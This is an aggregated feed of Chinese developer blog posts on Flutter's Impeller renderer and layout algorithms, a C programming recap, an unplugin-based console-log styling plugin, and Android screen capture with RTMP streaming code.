  3. 预编译着色器:与Skia动态编译着色器不同,Impeller会提前编译大部分着色器。这种预编译策略可以显著降低动画过程中的卡顿现象,因为GPU不必在渲染帧时暂停来编译着色器。预编译发生在Flutter应用的构建过程中,确保着色器在应用启动后立即可用。
  4. 分层架构设计:Impeller采用了新的分层架构来简化渲染过程。这种设计使引擎更加高效,并且更易于维护和更新。每一层都建立在下一层的基础上执行专门的功能,分离了不同的关注点。
三、Impeller的架构组成
  1. Aiks:Impeller架构的顶层,主要作为绘图操作的高级接口。它接受来自Flutter框架的命令,例如绘制路径或图像,并将这些命令转换为一组更精细的“Entities”,然后转给下一层。
  2. Entities Framework:Impeller架构的核心组件。当Aiks处理完命令并生成Entities后,每一个Entity都是渲染指令的独立单元,其中包含绘制特定元素的所有必要信息。每个Entity都带有transformation矩阵(编码位置、旋转、缩放)等属性,以及保存渲染所需GPU指令的content object。
  3. HAL(Hardware Abstraction Layer):构成了Impeller架构的基础,为底层图形硬件提供了统一的接口,抽象了不同图形API的细节。该层确保了Impeller的跨平台能力,将高级渲染命令转换为低级GPU指令,充当Impeller渲染逻辑和设备图形硬件之间的桥梁。
四、Impeller的其他优化
  1. 抗锯齿优化:Impeller通过多重采样抗锯齿(MSAA)来解决抗锯齿问题。MSAA的工作原理是在像素内的不同位置对每个像素进行多次采样,然后对这些样本进行平均以确定最终颜色,从而将对象的边缘与其背景平滑地融合,减少其锯齿状外观。
  2. 裁剪操作优化:Impeller利用模板缓冲区(stencil buffer,GPU的一个组件)来管理剪切过程。当Impeller渲染UI时,它会先让GPU使用模板缓冲区,该缓冲区主要充当过滤器,根据clipping蒙版确定应显示哪些像素。通过优化模板缓冲区,Impeller可确保快速执行剪切操作。

Impeller作为Flutter的新一代渲染引擎,在性能、渲染效果和跨平台能力等方面都表现出色。随着Flutter团队的不断优化和完善,Impeller有望成为未来Flutter应用的默认渲染引擎。

七、布局、算法与优化

1、遍历树

布局过程

1、父widget会向其子widget提供一组布局约束(通常是最小和最大宽度和高度的限制)。

2、子widget然后根据这些约束来决定自己的大小,并通过调用父widget的layout方法来告知父widget自己的最终大小。

这个过程会递归地在整个widget树中进行,直到所有的widget都被正确地布局。

遍历节点

1、Flutter 会以 DFS(深度优先遍历)方式遍历渲染树,并 将限制以自上而下的方式 从父节点传递给子节点。

2、子节点若要确定自己的大小,则 必须 遵循父节点传递的限制。子节点的响应方式是在父节点建立的约束内 将大小以自下而上的方式 传递给父节点。

3、遍历完一次树后,每个对象都通过父级约束而拥有了明确的大小,随时可以通过调用 paint() 进行渲染

4、盒子限制模型对象布局的时间复杂度是 O(n)

2、布局算法优化(次线性)

Flutter 的目标是实现布局的线性性能初始化,以及在更新现有布局时的次线性性能。这意味着,在大多数情况下,布局操作应该比对象渲染更快。为了达到这一目标,Flutter 采用了高效的布局算法,这些算法在单次传递中完成布局,从而避免了多次测量和布局传递的开销。时间复杂度是 O(n)

单次传递布局

Flutter 对每一帧执行一次布局操作,且这个操作在单个传递中完成。在这个过程中,父节点向下传递约束信息,子节点根据这些约束递归地执行布局操作,并返回几何信息给父节点。这种策略确保了每个渲染对象在布局过程中最多被访问两次:一次在向下传递约束时,一次在向上传递几何信息时。

RenderBox 布局模型

RenderBox 是 Flutter 中最常用的布局模型,它使用二维笛卡尔坐标进行运算。在 RenderBox 布局中,约束以最小和最大宽高的形式传递给子节点。子节点根据这些约束选择自己的大小,并在布局完成后返回给父节点。父节点随后根据子节点返回的大小信息来确定子节点在父坐标系中的位置。

优化布局性能的策略

为了优化布局性能,Flutter 采用了多种策略:

  1. 避免不必要的布局传递:如果父节点对子节点使用了与上一次布局相同的约束,且子节点没有将自己的布局标记为脏(即需要重新布局),那么该子节点可以立即从布局中返回,无需进行任何计算。
  2. 利用严格约束:严格约束是指恰好由一个有效几何满足的约束。如果父节点提供了严格约束,即使父节点在布局中使用了子节点的大小,子节点重新计算布局时也不会影响父节点的布局,因为子节点无法在没有父节点新约束的情况下更改其大小。
  3. 声明性布局:渲染对象可以声明它们仅使用父节点提供的约束来确定其几何信息。这种声明可以通知框架,即使约束不是严格的,父节点的布局也不需要在子节点重新计算布局时重新计算。
  4. 局部更新:当渲染树中包含脏节点时,Flutter 的布局算法只会访问这些节点以及它们周围子树的有限节点。这种局部更新策略减少了不必要的计算,从而提高了布局性能。

3、无限滚动列表布局

通常实现无限滚动列表是比较困难的。Flutter 支持基于 构造器 模式实现的简单无限滚动列表界面,该功能需要 视窗感知布局按需构建 widget

1、视窗感知布局

Viewport

Viewport是可滚动widget的外部容器,它提供了一个可以滚动的视窗口。Viewport本身并不直接渲染内容,而是包含一个或多个sliver,这些sliver负责实际的布局和渲染工作。Viewport的大小通常与屏幕大小相匹配,但它的内部空间可以远大于屏幕,从而允许用户滚动查看更多内容。

Sliver

Sliver是实现了视窗感知协议(Viewport-aware protocol)的RenderObject子类。与RenderBox不同,sliver不是直接填充其父容器的整个空间,而是根据Viewport提供的可见空间来进行布局。这意味着sliver可以处理超出视窗口边界的内容,并根据用户的滚动操作来动态地显示或隐藏这些内容。

Sliver的布局协议

在sliver布局协议中,父节点(通常是Viewport)向下传递给子节点(即sliver)一组约束信息,这些约束信息描述了视窗口的大小、滚动位置以及滚动方向等。子节点(sliver)根据这些约束信息来计算自己的布局,并返回一组几何信息来描述自己的位置和大小。

与盒子布局(如RenderBox)不同,sliver布局协议中的约束和几何数据更加复杂,因为它们需要考虑滚动和视窗口的变化。例如,一个sliver可能需要知道它还有多少可见空间来继续布局子节点,或者它是否已经滚动到了视窗口的底部。

Sliver的组合

Flutter允许开发者通过组合不同的sliver来创建复杂的滚动布局和效果。例如,一个Viewport可以包含一个折叠标题sliver、一个线性列表sliver和一个网格sliver。这些sliver将按照sliver布局协议进行协作,共同填充Viewport提供的可见空间。

由于sliver知道还有多少可见空间可用,它们可以智能地生成有限的子节点,即使这些子节点在理论上可能是无限的(例如,一个无限长的列表)。这种能力使得Flutter能够高效地处理大量数据,并为用户提供流畅的滚动体验。

2、按需构建新的widget

构建与布局的交叉执行

在Flutter中,构建(build)阶段通常用于创建widget树,而布局(layout)阶段则用于计算widget的位置和大小。然而,在处理无限滚动列表等场景时,如果严格按照构建到布局再到绘制的顺序执行,可能会导致性能问题,因为只有在布局阶段才能确定视窗口的可用空间,而这时再构建用于填充空间的widget可能已经太迟了。

为了解决这个问题,Flutter采用了构建和布局交叉执行的方式。这意味着在布局阶段的任意时刻,只要这些widget是当前布局的渲染对象的子节点,框架就可以按需构建新的widget。这种方式允许Flutter在布局过程中动态地调整widget树,以适应用户滚动和视图变化的需求。

消息传递和算法控制

为了确保构建和布局的交叉执行能够正确进行,Flutter严格控制了构建及布局中消息传播的算法。在构建过程中,消息只能沿构建树向下传递,以确保每个widget都能够正确地接收其父widget的状态和配置。同时,在布局遍历过程中,渲染对象不会访问其子树的构建状态,以避免在布局计算过程中使已构建的widget失效。

此外,一旦布局从某个渲染对象返回,在当前布局过程中,该渲染对象将不会被再次访问。这意味着后续布局计算生成的任何信息都不会影响已经构建的渲染对象的子树。这种设计确保了布局的确定性和一致性。

线性协调和树结构优化

在处理滚动和动态内容加载时,线性协调和树结构优化也是至关重要的。线性协调允许Flutter在滚动过程中有效地更新element树,以确保只有视窗口内的内容被重新构建和布局。这有助于减少不必要的计算和渲染,提高应用的性能。

同时,树结构优化也是提高滚动性能的关键。通过优化widget树的结构,Flutter可以减少不必要的节点和渲染工作,从而进一步提高滚动效率。

4、构建widget优化

Flutter使用一种高效的机制来构建和管理其界面,这种机制依赖于widget、element和state等关键概念。

  1. Widget:在Flutter中,widget是界面构建的基本单元。它们是不可变的,这意味着一旦创建,它们的属性就不能改变。由于这种不可变性,Flutter框架可以高效地重用和比较widget,从而优化构建过程。

  2. Element:Element是widget在界面树中的实例化表示。每个widget在构建时都会创建一个对应的element。Element树保留了用户页面的逻辑结构,并且是动态更新的。与widget不同,element可以记住与其他element的父或子关系,并且可以变脏(即需要更新)

  3. State:对于Stateful widget,它们的状态(state)是与特定的element实例相关联的。当widget的状态发生变化时,可以通过调用setState()方法来通知框架该widget需要重新构建

  4. 构建过程:当某个element变脏时,Flutter框架会将其添加到脏element列表中。在构建过程中,框架会遍历这个列表,并跳过干净的element,只更新脏的element。这种机制使得构建过程非常高效,因为每个element在构建阶段最多只会被访问一次。

  5. 优化策略

    • Widget比较:由于widget是不可变的,因此可以通过比较widget对象的引用来确定它们是否相同。如果父节点使用相同的widget来重新构建element,并且该element没有将自己标记为脏,那么可以直接从构建中返回,切断构建的向下传递。

    • 投影模式:开发者可以利用widget的不可变性和构建过程的优化来实现投影模式。在这种模式下,widget可以包含预先构建的子widget作为成员变量,从而在构建过程中避免不必要的重复工作。

    • InheritedWidget:为了避免父链的遍历,Flutter框架使用InheritedWidget来向下传递信息。通过在每个element上维护一个InheritedWidget哈希表,框架可以高效地访问和更新这些信息,从而避免O(N²)的复杂度。

5、widget重用(不可变

在Flutter中,element是widget树中的一个实例,它持有Stateful widget的状态对象以及底层的渲染对象。当框架能够重用element时,这意味着它不需要销毁和重新创建这些对象,从而保留了用户界面的逻辑状态信息和之前计算的布局信息。这不仅可以避免不必要的遍历整棵子树,还可以显著提高应用的性能,特别是在处理大量动态内容时。

关于全局树更新和GlobalKey的使用:

  • GlobalKey:在Flutter中,GlobalKey是一种特殊的key,它允许开发者在整个应用中唯一地标识一个widget。当widget与GlobalKey相关联时,无论它在element树中的位置如何变化,框架都能够通过查找哈希表来找到并重用现有的element。这意味着即使widget被移动到了树的不同位置,它的状态和布局信息也会被保留下来。
  • 全局树更新:通过使用GlobalKey,开发者可以实现全局树更新。这允许开发者在构建过程中将widget移动到element树的任意位置,而无需重新构建该widget的element。这不仅可以保留整棵子树的状态和布局信息,还可以避免不必要的重建和重绘。
  • 布局约束的传递:在Flutter的布局过程中,布局约束是从父节点传递到子节点的。当子列表发生变化时,父节点可能会被标记为脏,并需要重新布局。但是,如果新的父节点传递给子节点的布局约束与该子节点从旧的父节点接收到的相同,那么子节点可以立即从布局中返回,而不需要进行任何实际的布局计算。这可以进一步减少不必要的布局工作,提高应用的性能。

开发者广泛使用全局key和全局树更新来实现各种高级效果,如hero transition(英雄动画)和导航等。这些效果通常需要在不同的widget树之间共享状态和布局信息,而全局key和全局树更新提供了一种高效且灵活的方式来实现这一点。

6、协调算法(更新树比较算法)

在Flutter中,当需要更新列表中的widget时,传统的做法可能是对整个列表进行树差异比较,这种方法的复杂度通常是O(N^2),其中N是列表中的widget数量。然而,Flutter采用了一种更高效的算法,其复杂度为O(N),这种算法通过独立地检查每个element的子节点来决定是否重用该element。

这种子列表协调算法针对几种特定情况进行了优化:

  1. 旧的子列表为空:这种情况下,如果新的子列表不为空,那么框架将简单地遍历新的子列表并创建新的element。
  2. 两个列表完全相同:如果新旧两个列表的widget完全相同(包括顺序和key),那么框架将不会进行任何更新,直接重用现有的element。
  3. 在列表的某个位置插入或删除:当在列表的某个位置插入或删除一个或多个widget时,框架会尽可能重用周围的element,只更新受影响的部分。
  4. 使用key来匹配widget:如果新旧列表都包含相同key的widget,那么这两个widget就会被认为是相同的。在这种情况下,框架会尝试重用与旧widget相关联的element,并用新的widget进行更新。这有助于在列表项的顺序发生变化时保持状态的连续性。

子列表协调算法的具体实现通常涉及以下步骤:

  • 从新旧子列表的头部和尾部开始,对每一个widget的运行时类型和key进行匹配。
  • 如果找到不匹配的widget,就确定了两个列表中所有不匹配子节点的范围。
  • 将旧子列表中该范围内的子项根据它们的key放入一个哈希表中。
  • 遍历新的子列表,对于每个widget,检查它的key是否在哈希表中。
  • 如果找到匹配的key,就重用与该key相关联的element,并用新的widget进行更新。
  • 如果找不到匹配的key,就丢弃旧的element并从头开始创建新的element。

这种算法的优点是能够高效地处理列表的更新,特别是在列表项的顺序频繁变化时。它避免了不必要的重建和重绘,从而提高了应用的性能和响应速度。同时,通过使用key来匹配widget,开发者可以更好地控制列表项的更新行为,并保持状态的连续性。

7、恒定因子优化

  1. 子模型无关性

    Flutter的渲染树设计得不会记住特定的子模型,这意味着它不会依赖于具体的子列表结构。例如,RenderBox类有一个抽象的visitChildren()方法,而不是具体的firstChildnextSibling接口。这种设计允许子类以更高效的方式处理其子项,特别是当子类只支持单个子节点时(如RenderPadding)。这种灵活性使得Flutter能够根据不同的布局需求进行优化,而不必受限于固定的子项结构。

  2. 视觉渲染树与Widget逻辑树的分离

    Flutter中的渲染树在与设备无关的视觉坐标系中运行,而Widget树则在逻辑坐标中运行。这种分离使得布局和绘制计算可以更加高效地进行,因为渲染树中的这些计算比Widget到渲染树的切换更加频繁。此外,逻辑坐标到视觉坐标的转换是在Widget树和渲染树之间的切换中完成的,这避免了重复的坐标转换,从而提高了性能。

  3. 专门的渲染对象处理文本

    Flutter使用专门的渲染对象RenderParagraph来处理文本布局。这种设计使得文本布局可以更加高效地进行,因为RenderParagraph作为渲染树中的一个叶子节点,可以避免在父节点提供相同布局约束下的重复计算。此外,开发者可以通过组合形式将文本并入到用户界面中,而不必使用文本感知渲染对象进行子类化,这进一步简化了文本处理流程。

  4. 可观察对象在渲染树中的应用

    Flutter使用模型观察及响应设计模式,但在某些叶子节点的数据结构上使用了可观察对象。例如,Animation对象会在值发生变化时通知观察者列表。Flutter将这些可观察对象从Widget树转移到渲染树中,使得渲染树可以直接监听这些对象的变化,并在它们改变时仅重绘管道的相关阶段。这种设计减少了不必要的重建和重绘,提高了应用的性能。

by 捡芝麻丢西瓜 at January 21, 2025 09:03 AM

juejin article

Topic 01

Topic 01 recap

PrintN

打印N:

void printN(int n) {
    for (int i = 1; i <= n; i ++) {
        printf("%d\n", i);
    }
}

void printN1(int n) {
    if (n) {
        printN1(n - 1);
        printf("%d\n", n);
    }
}
  • PrintNPrintN1打印数字一个采用循环打印,一个采用递归打印,当n的值过大时,则第二个打印会直接失败,因为递归所占用的内存超出限制

计算f(x)函数

<semantics>f(x)=1+x+x2/2+x3/3+...+x100/100<annotation encoding="application/x-tex">f(x) = 1 + x + x^2 / 2 + x^3 /3 + ... + x^{100} /100</annotation></semantics>f(x)=1+x+x2/2+x3/3+...+x100/100
double f1(int n, double x) {
    double res = 1;
    for (int i = 1; i <= n ; ++i) {
        res += pow(x, i) / i;
    }
    return res;
}

double f2(int n, double x) {
    double res = 0;
    for (int i = n; i > 0; --i) {
        res = res * x + 1.0 / i;
    }
    res += 1;
    return res;
}
  • 对于时间的计算,由于程序过快,故采用运行1e7次的时间(由于单次运行时间非常短,可能无法精确测量,因此通过重复运行多次来累积时间,然后除以运行次数来得到平均单次运行时间。这种方法可以提高测量精度),然后除1e7得到平均一次运行的时间

  • 对于 f1 采用一般的方法进行计算,对于 f2 采用秦九韶方法进行计算,得出的时间前者比后者多一个数量级别


关于抽象

  • 抽象只关注问题的解决思路;

  • 不关注处理的对象,进行操作的具体细节,便于设计 广泛的解决方法 处理同样原理的问题;

  • 提高 一种思路 的 普遍适用性。

End...

by moyuhualuo at January 21, 2025 09:02 AM

juejin frontend

基于 unplugin 写一个 日志插件

什么是 unplugin

unplugin 是一个用于创建跨构建工具插件的工具库。它允许开发者编写一次插件代码,然后在多种构建工具(如 Webpack、Rollup、Vite、esbuild 等)中复用这些插件。unplugin 提供了一种统一的 API,使得插件开发变得更加简单和高效。

unplugin 的优点

  • 跨平台支持unplugin 支持多种构建工具,包括 Webpack、Rollup、Vite 和 esbuild。你只需编写一次插件代码,就可以在这些构建工具中复用。
  • 简化插件开发unplugin 提供了统一的 API,简化了插件的开发过程。你不需要为每个构建工具编写不同的插件代码。
  • 高效unplugin 通过优化的插件架构,确保插件在构建过程中高效运行。
  • 社区支持unplugin 拥有活跃的社区,提供了丰富的文档和示例,帮助开发者快速上手。

使用 LogEnhancerPlugin 增强日志输出

在现代前端开发中,日志输出是调试和监控应用程序的重要手段。为了使日志信息更加直观和易于区分,我们可以使用自定义的样式来增强日志输出。本文将介绍一个名为 LogEnhancerPlugin 的插件,它可以为日志输出添加自定义样式。

插件简介

LogEnhancerPlugin 是一个基于 unplugin 的插件,它允许开发者为 console.logconsole.infoconsole.warnconsole.error 等日志方法添加自定义的样式。通过这个插件,开发者可以轻松地为日志信息添加颜色、字体大小等样式,使日志信息更加醒目和易于区分。

插件实现

以下是 LogEnhancerPlugin 的完整实现代码:

import { createUnplugin } from 'unplugin';
import { CSSProperties } from 'react';
export interface Options extends CSSProperties {
  name: string;
}

class LogEnhancerPlugin {
  private defaultOptions: Options = {
    name: process.env.npm_package_name ?? '没有找到包名',
    color: 'blue',
    fontSize: '24px',
  };

  private toKebabCase(style: string): string {
    return style.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();
  }

  private generateStyleString(options: Options): string {
    return Object.entries(options)
      .map(([key, value]) => `${this.toKebabCase(key)}: ${value}`)
      .join('; ');
  }

  public start = (userOptions: Options) => {
    // 合并用户传递的选项
    const mergedOptions = { ...this.defaultOptions, ...userOptions };
    const styleString = this.generateStyleString(mergedOptions);

    return {
      name: 'log-enhancer-plugin',
      transformInclude: (id: string) =>
        /\.(tsx|ts|js|jsx)$/.test(id) && !id.includes('node_modules'),
      transform: (code: string) => {
        const regex = /console\.(log|info|warn|error)\(([^)]*)\)/g;
        const replacement = `console.\$1("%c ${mergedOptions.name}", "${styleString}", \$2)`;
        const modifiedCode = code.replace(regex, replacement);

        return {
          code: modifiedCode,
          map: null,
        };
      },
    };
  };
}

export const unpluginPrefixLog = /* #__PURE__ */ createUnplugin((options: Options) => {
  const pluginInstance = new LogEnhancerPlugin();
  return pluginInstance.start(options);
});

export default unpluginPrefixLog;

export const logWebpackPlugin = unpluginPrefixLog.webpack;
export const logVitePlugin = unpluginPrefixLog.vite;
export const logESBuildPlugin = unpluginPrefixLog.esbuild;
export const logRolldownPlugin = unpluginPrefixLog.rolldown;
export const logRollupPlugin = unpluginPrefixLog.rollup;
export const logFarmPlugin = unpluginPrefixLog.farm;
export const logRawPlugin = unpluginPrefixLog.raw;
export const logRspackPlugin = unpluginPrefixLog.rspack;

主要功能

  1. 合并用户选项
    插件允许用户传递自定义选项,如日志名称、颜色和字体大小。通过 Object.assign 方法,插件将用户选项与默认选项合并,生成最终的配置。
  2. 生成样式字符串
    插件通过 generateStyleString 方法,将配置选项转换为 CSS 样式字符串。例如,{ color: 'blue', fontSize: '24px' } 将被转换为 color: blue; font-size: 24px;
  3. 转换日志输出
    插件使用正则表达式匹配 console.logconsole.infoconsole.warnconsole.error 方法,并将其替换为带有样式的日志输出。例如,console.log('Hello, world!') 将被转换为 console.log("%c 没有配置名称", "color: blue; font-size: 24px;", 'Hello, world!')

使用方法

要使用 LogEnhancerPlugin,首先需要安装 unplugin 依赖。然后,可以在项目中引入并配置插件:

import { logWebpackPlugin } from '@jd/cofe-log-enhancer-plugin';

webpack.plugins.push(
logWebpackPlugin({
    name: PackageName, color: 'blue', fontSize: '14px' 
}));

通过上述配置,所有的日志输出将带有自定义的样式,使调试和监控更加方便。

解决了什么问题

  1. 解决文件来源不明问题

    • 通过 Module Federation 插件,可以轻松管理和加载来自不同来源的 JavaScript 文件的打印结果,确保每个文件的来源清晰明确。
  2. 兼容多种构建工具

    • 该插件与多个现代主流构建工具(如 Webpack、Rollup、Parcel 等)兼容,确保在不同的开发环境中都能顺利运行。

结论

LogEnhancerPlugin 是一个简单而实用的插件,它通过为日志输出添加自定义样式,提升了日志信息的可读性和可区分性。希望本文能帮助你更好地理解和使用这个插件,为你的开发工作带来便利。

by 核桃路 at January 21, 2025 08:58 AM

juejin android

Android平台如何采集屏幕数据并推送RTMP服务器实现无纸化同屏?

如何获取屏幕数据?

Android平台实现无纸化同屏,屏幕采集是关键,也是源头,Android同屏技术允许将Android设备的屏幕内容实时传输并显示在其他设备上。实现方式主要有基于系统自带功能(如某些Android设备支持的无线投屏到智能电视)以及通过开发自定义应用实现。在自定义应用开发中,通常需要借助Android的MediaProjection API 来获取屏幕内容的图像数据,该API提供了屏幕捕获的能力,通过创建MediaProjectionManager实例,发起屏幕捕获请求,获取到MediaProjection对象后,就可以进一步创建虚拟显示,从而获取屏幕的图像流。

一些小的tips

我们理解的Android平台RTMP同屏,采集到数据后,无非就是实现软、硬编码,然后打包发送到RTMP服务器,播放端拉流播放即可,实际上,几乎每一步操作,都可以考虑精细化的设计和处理,实现期望的高稳定、低延迟和资源占用体验。

先说我们做的Android平台RTMP推送模块的功能设计吧:

Android平台RTMP直播推送SDK

  • 音频编码:AAC/SPEEX;
  • 视频编码:H.264、H.265;
  • 推流协议:RTMP;
  • [音视频]支持纯音频/纯视频/音视频推送;
  • [摄像头]支持采集过程中,前后摄像头实时切换;
  • 支持帧率、关键帧间隔(GOP)、码率(bit-rate)设置;
  • 支持RTMP推送 live|record模式设置;
  • 支持前置摄像头镜像设置;
  • 支持软编码、特定机型硬编码;
  • 支持横屏、竖屏推送;
  • 支持Android屏幕采集推送;
  • 支持自建标准RTMP服务器或CDN;
  • 支持断网自动重连、网络状态回调;
  • 支持实时动态水印;
  • 支持实时快照;
  • 支持降噪处理、自动增益控制;
  • 支持外部编码前音视频数据对接;
  • 支持外部编码后音视频数据对接;
  • 支持RTMP扩展H.265(需设备支持H.265特定机型硬编码)和Enhanced RTMP;
  • 支持实时音量调节;
  • 支持扩展录像模块;
  • 支持Unity接口;
  • 支持H.264扩展SEI发送模块;
  • 支持Android 5.1及以上版本。

从数据采集开始,我们就需要考虑用怎样的方式最高效?

数据拿到后,如果分辨率过高,要不要做缩放?

如果屏幕不动,数据帧不回调上来,要不要补帧?

到底是软编码还是硬编码?

走264还是265编码?

是不是可以同时采集摄像头?

如果采集摄像头,能不能用camera2采集?

采集到的camera2数据,如何做数据编码和打包传输?

要不要加动态文字、图片水印?

要不要做音频采集,比如支持麦克风或扬声器采集?亦或二者均采集?

要不要本地录像?

起播慢怎么办?

帧率、码率怎么动态配置?

要不要做实时快照?

要不要支持编码前的其他音视频数据类型对接?

要不要支持编码后的音视频数据对接?

音视频采集有时间偏差怎么办?

要不要支持RTMP HEVC?

如果需要采集Unity camera场景怎么办?

什么都做好了,延迟还是高,到底怎么回事?

单个无纸化会议场景,设备数非常多怎么办。。。

技术实现

做了这么多假设,我们以大牛直播SDK的Android的SmartServicePublisherV2的同屏demo为例,介绍下相关的技术实现细节。

启动APP后,先选择需要采集的分辨率(如果选原始分辨率,系统不做缩放),然后选择“启动媒体投影”,并分别启动音频播放采集、采集麦克风。如果音频播放采集和采集麦克风都打开,可以通过右侧下拉框,推送过程中,音频播放采集和麦克风采集实时切换需要注意的是,Android采集音频播放的audio,音频播放采集是依赖屏幕投影的,屏幕投影关闭后,音频播放也就采不到了。

采集到的屏幕数据,特别是高分屏的话,我们可以缩放后再推送。如果对画质和分辨率要求比较高,可以选择原始分辨率。设备支持硬编码,优先选择H.264硬编,如果是H.265硬编,需要RTMP服务器支持扩展H.265(或Enhanced RTMP)。都选择好后,设置RTMP推送的URL,点开始RTMP推送按钮即可。

废话不多说,上代码,启动媒体服务,进入系统后,我们会自动启动媒体服务:

/*
 * MainActivity.java
 * Created by daniusdk.com on 2017/04/19.
 * WeChat: xinsheng120
 */
private void start_media_service() {
Intent intent = new Intent(getApplicationContext(), StreamMediaDemoService.class);
if (Build.VERSION.SDK_INT >= 26) {
Log.i(TAG, "startForegroundService");
startForegroundService(intent);
} else
startService(intent);

bindService(intent, service_connection_, Context.BIND_AUTO_CREATE);
button_stop_media_service_.setText("停止媒体服务");
}

private void stop_media_service() {
if (media_engine_callback_ != null)
media_engine_callback_.reset(null);

if (media_engine_ != null) {
media_engine_.unregister_callback(media_engine_callback_);
media_engine_ = null;
}

media_engine_callback_ = null;

if (media_binder_ != null) {
media_binder_ = null;
unbindService(service_connection_);
}

Intent intent = new Intent(getApplicationContext(), StreamMediaDemoService.class);
stopService(intent);
button_stop_media_service_.setText("启动媒体服务");
}

Android 6.0及以上版本,动态获取Audio权限:

/*
 * MainActivity.java
 * Created by daniusdk.com on 2017/04/19.
 * WeChat: xinsheng120
 */
private boolean check_record_audio_permission() {
//6.0及以上版本,动态获取Audio权限
if (PackageManager.PERMISSION_GRANTED == checkPermission(android.Manifest.permission.RECORD_AUDIO, Process.myPid(), Process.myUid()))
return true;

return false;
}

private void request_audio_permission() {
if (Build.VERSION.SDK_INT < 23)
return;

Log.i(TAG, "requestPermissions RECORD_AUDIO");
ActivityCompat.requestPermissions(this, new String[] {android.Manifest.permission.RECORD_AUDIO}, REQUEST_AUDIO_CODE);
}

@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
switch(requestCode){
case REQUEST_AUDIO_CODE:
if (grantResults != null && grantResults.length > 0 && PackageManager.PERMISSION_GRANTED == grantResults[0]) {
Log.i(TAG, "RECORD_AUDIO permission has been granted");
}else {
Toast.makeText(this, "请开启录音权限!", Toast.LENGTH_SHORT).show();
}
break;
}
}

启动、停止媒体投影实现如下:

/*
 * MainActivity.java
 * Created by daniusdk.com on 2017/04/19.
 * WeChat: xinsheng120
 */
private class ButtonStartMediaProjectionListener implements OnClickListener {
public void onClick(View v) {
if (null == media_engine_)
return;

if (media_engine_.is_video_capture_running()) {
media_engine_.stop_audio_playback_capture();
media_engine_.stop_video_capture();
resolution_selector_.setEnabled(true);
button_capture_audio_playback_.setText("采集音频播放");
button_start_media_projection_.setText("启动媒体投影");
return;
}

Intent capture_intent;
capture_intent = media_projection_manager_.createScreenCaptureIntent();

startActivityForResult(capture_intent, REQUEST_MEDIA_PROJECTION);
Log.i(TAG, "startActivityForResult request media projection");
}
}

启动媒体投影后,选择“采集音频播放”,如果需要采集麦克风,可以点击“采集麦克风”:

/*
 * MainActivity.java
 * Created by daniusdk.com on 2017/04/19.
 * WeChat: xinsheng120
 */
private class ButtonCaptureAudioPlaybackListener implements OnClickListener {
public void onClick(View v) {
if (null == media_engine_)
return;

if (media_engine_.is_audio_playback_capture_running()) {
media_engine_.stop_audio_playback_capture();
button_capture_audio_playback_.setText("采集音频播放");
return;
}

if (!media_engine_.start_audio_playback_capture(44100, 1))
Log.e(TAG, "start_audio_playback_capture failed");
else
button_capture_audio_playback_.setText("停止音频播放采集");
}
}

private class ButtonStartAudioRecordListener implements OnClickListener {
public void onClick(View v) {
if (null == media_engine_)
return;

if (media_engine_.is_audio_record_running()) {
media_engine_.stop_audio_record();
button_start_audio_record_.setText("采集麦克风");
return;
}

if (!media_engine_.start_audio_record(44100, 1))
Log.e(TAG, "start_audio_record failed");
else
button_start_audio_record_.setText("停止麦克风");
}
}

启动、停止RTMP推送:

/*
 * MainActivity.java
 * Created by daniusdk.com on 2017/04/19.
 * WeChat: xinsheng120
 */
private class ButtonRTMPPublisherListener implements OnClickListener {
@Override
public void onClick(View v) {
if (null == media_engine_)
return;

if (media_engine_.is_rtmp_stream_running()) {
media_engine_.stop_rtmp_stream();
button_rtmp_publisher_.setText("开始RTMP推送");
text_view_rtmp_url_.setText("RTMP URL: ");
Log.i(TAG, "stop rtmp stream");
return;
}

if (!media_engine_.is_video_capture_running())
return;

String rtmp_url;
if (input_rtmp_url_ != null && input_rtmp_url_.length() > 1) {
rtmp_url = input_rtmp_url_;
Log.i(TAG, "start, input rtmp url:" + rtmp_url);
} else {
rtmp_url = baseURL + String.valueOf((int) (System.currentTimeMillis() % 1000000));
Log.i(TAG, "start, generate random url:" + rtmp_url);
}

media_engine_.set_fps(fps_);
media_engine_.set_gop(gop_);
media_engine_.set_video_encoder_type(video_encoder_type);

if (!media_engine_.start_rtmp_stream(rtmp_url))
return;

button_rtmp_publisher_.setText("停止RTMP推送");
text_view_rtmp_url_.setText("RTMP URL:" + rtmp_url);
Log.i(TAG, "RTMP URL:" + rtmp_url);
}
}

by 音视频牛哥 at January 21, 2025 08:53 AM

无纸化同屏解决方案探究和技术展望

好多开发者,在了解到我们在无纸化同屏、智慧教育场景的碾压式行业积累后,希望我们做些无纸化同屏相关的技术探讨,实际上这块方案并不复杂,很容易做到实际使用场景契合的方案,主要是如何达到客户期望的功能和体验。

无纸化同屏技术可以实现多设备之间的屏幕内容共享与交互,在教育、企业会议、医疗等多个领域都有广泛应用。以下是一个常见的无纸化同屏技术解决方案示例,主要基于网络通信和软件应用实现:

一、硬件设备

  1. 发送端设备
    • 计算机:教师、演讲者或工作人员使用的电脑,安装相应的发送端软件,用于将计算机屏幕内容编码并发送出去。
    • 移动设备:如平板电脑、智能手机,同样需要安装适配的发送端应用程序,方便用户在移动状态下进行内容展示。设备需具备 Wi-Fi 或蓝牙连接功能,以便与接收端建立通信。
  2. 接收端设备
    • 智能交互大屏:放置在教室、会议室或展示场所的大屏幕,具备网络连接功能和接收软件。可接收来自不同发送端设备的屏幕内容,并进行清晰显示。屏幕尺寸根据实际使用场景而定,如教室通常采用 86 英寸及以上的大屏,会议室可根据规模选择合适尺寸。
    • 投影仪:配合投影幕布使用,将接收的屏幕内容投射到大屏幕上。适用于对显示尺寸要求较大,但对屏幕触控交互功能需求不高的场景。同样需要具备网络连接功能和相应的接收软件。
  3. 网络设备
    • 无线路由器:提供稳定、高速的无线网络环境,确保发送端和接收端设备之间能够流畅地进行数据传输。建议选择支持双频(2.4GHz 和 5GHz)、多设备连接且传输速率较高的无线路由器。对于大型会议室或多个教室同时使用的场景,可能需要部署多个无线路由器或采用企业级的无线接入点(AP),以实现信号全覆盖和负载均衡。
    • 交换机:在有线网络环境或需要扩展网络端口的情况下,交换机用于连接各个设备,保障数据的快速交换和稳定传输。

二、软件系统

  1. 发送端软件
    • 屏幕采集功能:能够精确采集计算机或移动设备的屏幕内容,支持多种分辨率和帧率设置,以适应不同的网络环境和显示需求。例如,在网络带宽较高的情况下,可以选择较高的分辨率和帧率,实现更流畅、清晰的同屏效果;而在网络条件有限时,则可适当降低分辨率和帧率,确保内容能够稳定传输。
